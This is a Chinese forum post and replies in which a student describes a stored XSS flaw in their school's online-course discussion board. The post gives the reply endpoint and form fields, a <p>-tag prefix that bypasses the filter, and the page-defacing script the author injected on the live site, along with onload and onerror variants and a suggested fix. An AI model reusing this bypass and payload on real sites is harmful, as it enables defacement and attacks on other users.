【接上次的帖子】学校网课平台的XSS漏洞简单分析
本帖最后由 jidesheng6 于 2020-3-20 19:13 编辑# 漏洞的成因
> **也不知道算不算漏洞,就是一个XSS攻击,请大佬指正**
- **这个漏洞是因为在提交讨论信息的时候,为了不实现自动换行,程序员直接从用户提交的文本里面加上p标签和br标签导致的**
- **如果直接直接提交恶意代码,是被禁止的,但是因为它的p标签是允许的,个人猜测是只检测开头是不是p标签,导致被利用的**
# 实战利用
- **主要分析有如下几步:**
- **当前页面的DOM结构分析**
- **提交的URL地址**
- **提交的中的参数**
- **首先来看看讨论的地址:**
- ```http
forumdiscussion/title?forumDiscussionId=bb1b974ab5be4ccc889da292ed625417&courseVersionId=8398e23855d44cbdbe60109e52e54121&forumDetailFlag=1
```
- **上面的DiscussionID和courseversioionID是我们需要记下来的**
- **提交讨论回复的接口**
- ```http
forumdiscussion/insertReplies?forumDiscussionId=1ee176964bcd4bd3830b040e4c2a2355&courseVersionId=8398e23855d44cbdbe60109e52e54121
```
- **提交方法:POST**
- **提交表单如下:**
- ```http
richText:这里提交用户填入的文本
postAttachment:无内容
message:这里是经过处理的文本,要展示在讨论的页面中,会带有<p>和<br>标签,如果不带页面在外面看着就会排版错乱,估计这就是他们为啥要带标签提交吧
```
- **还需要携带用户Cookie一起提交给服务器**
- **浏览器中讨论页面学生答案的DOM结构**
- ```html
<span class="message">
<p>1、楚怀王<br></p>
<p>2、靠海,盐比较多;江苏盐城湿地珍禽国家级自然保护区 江苏大丰麋鹿国家级自然保护区。</p>
</span>
```
- **p标签和br标签都是提交的时候自动存在的,是把学生输入信息处理以后带标签上传展示**
- **经过多次试验,如果只携带script标签服务器会提示禁止,但是如果加入p标签在开头,再输入script标签就不会提示禁止,且根据浏览器的容错性,script标签只要输入一个就可以了,请看下面我提交以后的DOM结构**
- ```html
<span class="message">
<p>本站存在XSS注入漏洞,评论上方会出现一个熊猫头表情包以及带链接的文字,请尽快修复
<script id="0ad4f5d4ed8244fa8830deb4460e04281584694088000">
var m=document.getElementById("titleForum");
var p = document.createElement("img");
m.append(p);p.style="height:400px";
p.src='';
var c = document.createElement("a");
m.append(c);
c.text="本站存在XSS漏洞,现已注入";
c.style='font-size:70px';
c.href='';
var o=document.getElementById("title");
o.remove();
var i = $(".issuerLocation");
i.remove();
var n = $("#forumMessage");
n.remove();
$("#replys").remove();
$(".timeLine").remove();
var e=$("#courseheadTab");
e.html("<div style=font-size:35px;color:red;text-align:center>本站已经被XSS脚本注入攻击请及时修复</div>");
</script>
</p>
</span>
```
- **所以只要学生打开这个页面脚本就会加载修改当前页面的内容**
- **这个应该是存储型XSS还是DOM型我也不清楚,因为只要我删除了这个回复,页面就可以正常显示,还请大佬指点,嘿嘿**
### 结语
**我没有对学校网站进行任何破坏性操作,评论删除页面都会恢复的,给两个图看一下提交后的结果**
- **0x01**
-
- 0x02
-
**修复建议:应该对整个文本进行有无script标签检测,或者把提交过去的标签进行HTML实体转义。**
**不过我感觉我们学校根本不会管这个,我就发到这里来记录一下**
给p标签加一个onload也是个很好的选择,只不过要把js全都写在标签里。。。。。。太难受了。
如果允许上传图片,可以给一个假的不存在的src,然后给一个onerror。。。。
不过允许上传图片的话应该就不会绕这么大个圈了吧,。。。。
此外日常吐槽la圾chao星。。。
js一堆bug,天天爆红。。。
额貌似修复了几个?=_=
咋只剩一个了?
下面这个是之前吐槽聊天时的截图
四个全都是他自己的js。。。
还有那个引入的ext插件脚本。。。
各种错误。不是变量重定义,就是没加换行分号,在不就是不加括号。
反正本来准备引入他的js结果扔到tampermonkey,整个插件都用不了了。。。。
害得我还要自己分析555555555555 霸气侧漏m2 发表于 2020-3-20 17:28
江苏开放大学
是校友嘛哈哈哈 本帖最后由 895515845 于 2020-3-20 19:14 编辑
太强了吧,楼主是这方面的专业吗 iPhone8Plus 发表于 2020-3-20 20:43
这波操作很Nice。提交数据时 通过浏览器或F抓包 获得接口 然后定点改message参数 放行提交的吗?
得到接口,然后postman提交,f也可以,我没用到,哈哈。 网络安全最有效手段是法律,不是技术。{:301_993:} {:1_893:}大佬~{:1_893:},好奇你们学的时候怎么清楚自己要学啥 {:300_966:}江苏开放大学 值得学习
向大神学习 大哥你不打码,小心网站被伦 叁先生 发表于 2020-3-20 18:20
大哥你不打码,小心网站被伦
不会,需要携带登录cookie才可以进行一些数据操作